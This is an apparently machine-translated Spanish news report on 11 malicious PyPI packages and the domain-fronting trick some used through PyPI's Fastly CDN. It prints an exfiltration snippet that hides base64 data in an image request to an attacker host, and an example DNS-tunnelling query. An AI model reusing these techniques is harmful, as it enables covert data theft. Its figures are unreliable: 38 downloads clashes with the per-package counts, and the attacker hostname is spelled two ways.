Bibliotecas maliciosas detectadas en el catálogo de PyPI que usan el CDN de PyPI para ocultar el canal de comunicación

En el directorio PyPI (Python Package Index), se identificaron 11 paquetes que contienen código malicioso. Antes de que se identificaran los problemas, los paquetes se habían descargado unas 38 veces en total. Los paquetes maliciosos detectados destacan por el uso de métodos sofisticados para ocultar los canales de comunicación con los servidores de los atacantes.

  • paqueteimportante (6305 descargas), paquete-importante (12897): estableció una conexión a un servidor externo con el pretexto de conectarse a pypi.python.org para proporcionar acceso de shell al sistema (shell inverso) y usó el programa trevorc2 para ocultar el canal de comunicación.
  • pptest (10001), ipboards (946): utilizó DNS como canal de comunicación para transmitir información sobre el sistema (en el primer paquete, el nombre del host, el directorio de trabajo, la IP interna y externa, en el segundo, el nombre de usuario y el nombre del host). .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859): identificó el token del servicio Discord en el sistema y lo envió a un host externo.
  • trrfab (287): envió el identificador, el nombre del host y el contenido de /etc/passwd, /etc/hosts, /home al host externo.
  • 10Cent10 (490): estableció una conexión de shell inversa con un host externo.
  • yandex-yt (4183): muestra un mensaje sobre el sistema comprometido y redirigido a una página con información adicional sobre acciones adicionales emitidas a través de nda.ya.ru (api.ya.cc).

De particular interés es el método de acceso a hosts externos utilizados en los paquetes importantpackage y important-package, que utilizaron la red de entrega de contenido Fastly utilizada en el directorio PyPI para ocultar su actividad. De hecho, las solicitudes se enviaron al servidor pypi.python.org (incluida la especificación del nombre python.org en SNI dentro de la solicitud HTTPS), pero el encabezado HTTP "Host" incluía el nombre del servidor controlado por los atacantes (sec. forward.io.global.prod.fastly.net). La red de entrega de contenido envió una solicitud similar al servidor atacante, utilizando los parámetros de la conexión TLS a pypi.python.org al transmitir datos.

La infraestructura PyPI está impulsada por la red de entrega de contenido Fastly, que utiliza el proxy transparente Varnish para almacenar en caché las solicitudes típicas y también utiliza el procesamiento de certificados TLS en el nivel CDN, en lugar de en los servidores finales, para reenviar solicitudes HTTPS a través de un proxy. Independientemente del host de destino, las solicitudes se envían al proxy, que determina el host deseado mediante el encabezado HTTP "Host", y los nombres de dominio del host están vinculados a las direcciones IP del balanceador de carga CDN que son típicas de todos los clientes de Fastly.

El servidor de los atacantes también se registra en CDN Fastly, que ofrece planes gratuitos para todos e incluso permite el registro anónimo. Cabe destacar que para enviar solicitudes a la víctima al crear un "shell inverso", también se utiliza un esquema, pero iniciado desde el host del atacante. Desde fuera, la interacción con el servidor de los atacantes parece una sesión legítima con el directorio PyPI, cifrada mediante un certificado TLS de PyPI. Anteriormente se utilizaba activamente una técnica similar, conocida como “domain fronting”, para ocultar el nombre del host al evitar el bloqueo, utilizando la capacidad proporcionada en algunas redes CDN para acceder a HTTPS indicando un host ficticio en el SNI y transmitiendo en realidad el nombre del host solicitado en el encabezado del host HTTP dentro de una sesión TLS.

Bibliotecas maliciosas detectadas en el catálogo de PyPI que usan el CDN de PyPI para ocultar el canal de comunicación

Para ocultar la actividad maliciosa, se utilizó adicionalmente el paquete TrevorC2 para hacer que la interacción con el servidor fuera similar a la navegación web normal; por ejemplo, se enviaron solicitudes maliciosas con el pretexto de descargar la imagen “https://pypi.python.org/images/ guid=" con información codificada en el parámetro guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, encabezados = {'Host': "psec.forward.io.global.prod.fastly.net"})

Los paquetes pptest e ipboards utilizaron un enfoque diferente para ocultar la actividad de la red, basado en codificar información útil en consultas al servidor DNS. El malware transmite información realizando solicitudes DNS como “nu4timjagq4fimbuhe.example.com”, en las que los datos transmitidos al servidor de control están codificados utilizando el formato base64 en el nombre del subdominio. El atacante recibe estos mensajes controlando el servidor DNS del dominio ejemplo.com.

Fuente: opennet.ru

Añadir un comentario